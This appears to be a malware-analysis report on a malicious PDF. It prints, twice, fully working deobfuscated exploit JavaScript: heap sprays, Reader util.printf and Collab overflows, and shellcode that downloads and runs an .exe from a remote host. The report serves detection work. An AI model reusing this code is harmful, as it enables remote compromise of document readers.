var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u622F%u6665%u6C67%u7270%u3378%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u672F%u6F6E%u7372%u7675%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5288 bytes
SHA-256: c3dd8e4ee94b4a50732e83025cd6e0ae269c1622557e1ca27a8d0e27cb393ea8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u632F%u6D64%u726E%u7675%u7977%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u622F%u6665%u6C67%u7270%u3378%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u672F%u6F6E%u7372%u7675%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.